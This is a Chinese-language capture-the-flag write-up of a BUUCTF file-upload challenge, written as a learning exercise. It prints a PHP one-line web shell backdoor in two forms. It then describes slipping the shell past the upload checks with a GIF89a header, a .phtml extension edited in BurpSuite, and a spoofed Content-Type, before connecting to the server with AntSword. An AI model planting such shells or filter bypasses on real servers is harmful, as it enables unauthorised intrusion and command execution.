报名参加了 SU 战队,交接的师傅给了一道文件包含的题,从中我学到了很多。一般来说,文件包含肯定伴随着文件上传,所以就找了 BUUCTF 上的一道简单题练练手。
前置准备
进入靶机,发现是要我们上传一个图片。
随便传了一个图片,发现并不知道文件传到哪里了。
于是我们用 dirsearch 爆破一下网站目录,发现存在一个 /upload
文件夹,看来就是它了。
正式开工
我们需要上传一个包含我们恶意代码的文件,并执行它。
最最简单的方式是传一个“一句话木马”,它相当于是一个后门,可以直接执行我们想执行的命令,省去反复上传文件的麻烦。
1 | eval($_POST['shell']); @ |
或是使用 PHP HTML:
1 | <script language="php">@eval($_POST['shell'])</script> |
这段代码接受 POST 请求中的 shell
字段,并将其解析为 PHP 代码执行。
先尝试直接提交文件,发现检测了后缀名。再尝试改后缀名,又发现检测了文件头。观察前端代码,发现存在 <form action="upload_file.php" method="post" enctype="multipart/form-data">
,看来就是这个 upload_file.php
检测的。考虑加上 GIF89a
这类较为简单的文件头,发现上传成功了。
但是 gif 文件并不会被解析执行,所以我们需要更改文件后缀名,使用 BurpSuite 修改请求中的 filename
的后缀名,在尝试了 php
phtm
之类后,终于在 phtml
这个后缀名上成功了。再使用 AntSword 这款工具,获得了服务器上的所有信息。
而 flag 就在服务器根目录下,至此,我们成功拿到了 flag。
一些后话
在拿到服务器信息后,我翻看了网页的源码,对之前做题过程有了全新的认知。
首先,它并不是检测文件后缀名,而是检测请求中的文件类型,而这一步是本地发送请求时就确定的。也就是说,我完全可以直接上传 payload.phtml
,然后在 BurpSuite 中将请求包中的 Content-Type: application/octet-stream
改为 Content-Type: image/gif
也可实现文件上传。
其次,它过滤了 <?
。在文件上传中还有一种绕过方式是短标签绕过,显然这里把这条路堵上了。但是它把 PHP 文件类型全过滤了,不知道这个意义何在
总之,我对请求头有了全新的认知,也算是繁重期末中的一丝娱乐吧。